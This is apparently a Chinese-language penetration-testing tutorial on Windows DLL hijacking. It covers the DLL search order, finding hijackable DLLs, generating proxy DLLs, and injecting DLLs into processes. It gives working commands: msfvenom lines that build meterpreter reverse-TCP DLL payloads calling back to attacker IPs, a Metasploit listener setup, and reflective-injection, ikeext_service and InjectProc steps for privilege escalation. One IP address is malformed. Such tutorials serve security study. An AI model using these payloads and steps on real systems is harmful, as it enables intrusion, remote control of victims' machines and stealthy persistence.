DLL-Attack
Contents
0x01 DLL劫持漏洞根源
程序在调用DLL时未指明DLL的完整路径
提到的DLL劫持漏洞微软尚未给出直接的修复方法,原因可能有以下几点:(by 3gstudent)
- 这是开发者的失误,换用绝对路径就能避免这个问题
- 利用的前提是攻击者已经能够在同级目录放置文件,这代表系统已经被攻破
- 如果直接修复,或许会影响老版本程序,兼容性不好
当一个应用程序需要加载一个DLL时, 加载顺序为
- 应用程序的目录
- c:\windows\system32
- c:\windows\system
- c:\windows
- 当前工作目录
- 系统PATH环境变量
- 用户PATH环境变量
默认情况下,如果软件安装在C盘根目录
而不是c:\Program Files
,那经过身份验证的用户具有该目录写入权限。
另外,Perl,Python,Ruby等软件通常都添加到Path变量中。
那攻击者可以在当前目录中编写恶意DLL,只要重新运行exe程序就gg。详细内容见:microsoft
0×02 劫持Windows系统的DLL
要分析一个应用程序是否存在劫持系统DLL的漏洞,需要这么几个步骤:
- 启动应用程序
- 使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库。
- 从该应用程序已经加载的DLL列表中,查找在上述
KnownDLLs注册表项
中不存在的DLL。 - 编写第三步中获取到的DLL的劫持DLL。
- 将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功。
0x03 如何编写一个劫持的DLL
测试靶机:Server 2008 R2
攻击主机:Mac + Metasploit
DLL_Hijacker.py
1.查看被劫持的DLL的导出函数表。
2.编程实现劫持DLL向原DLL的导出函数的转发,并加入你的恶意代码
。
使用DLL_Hijacker.py脚本可以一键生成劫持指定DLL的CPP源码文件。
对这个CPP文件进行编译就生成了相应的劫持DLL文件。
metasploit生成dll并监听
1 2 3 4 5 6 |
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=101.101.101.100 lport=2222 -f dll > attack.dll use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 10.10.10.2 set lport 4444 run |
remote-dll-injector
据说采取了CreateRemoteThread的技术,支持dll注入的工具,提供pid和dll路径就行,测试失败
Metasploit注入
1 2 3 4 5 6 |
方法一 use post/windows/manage/reflective_dll_inject set path 攻击主机的dll路径 set pid xxxx set session x exploit |
1 2 3 4 5 |
方法二 use exploit/windows/local/ikeext_service set dir C:\\windows\\ set session x run |
Invoke-DllInjection
可能是我的方法不对,第一二两种皆失败,powersploit和ikeext_service成功。有知道的朋友麻烦联系下qq。在此多谢
更新injectProc
1 2 |
InjectProc.exe dll_inj path/to/dll.dll notepad.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.2222 LPORT=4444 -f dll -o xxxx.dll |
https://www.youtube.com/watch?v=hLPDq9nSHMw
0x04 结语
为了能够通过DLL劫持升级特权,需要满足以下条件:
- 在系统文件夹上写入权限
- 软件安装在非默认目录下
- 作为系统运行并缺少DLL的服务
- 重新启动服务
另外,在挖掘此类漏洞时也要注意到不存在劫持漏洞的DLL如果调用了一个或多个其他DLL,那么依旧有可能会产生DLL劫持漏洞。如果宿主进程已经取得了UAC权限,那么DLL劫持也是另外一种获取UAC权限的方式,同时,由于DLL劫持漏洞的隐蔽性,安全软件难以捕捉检测,很多恶意软件使用此漏洞作为后门的通道或者自启动技术。后续将更新lnk-dll劫持。敬请期待
最后附上lostwolf表哥的添加用户的dll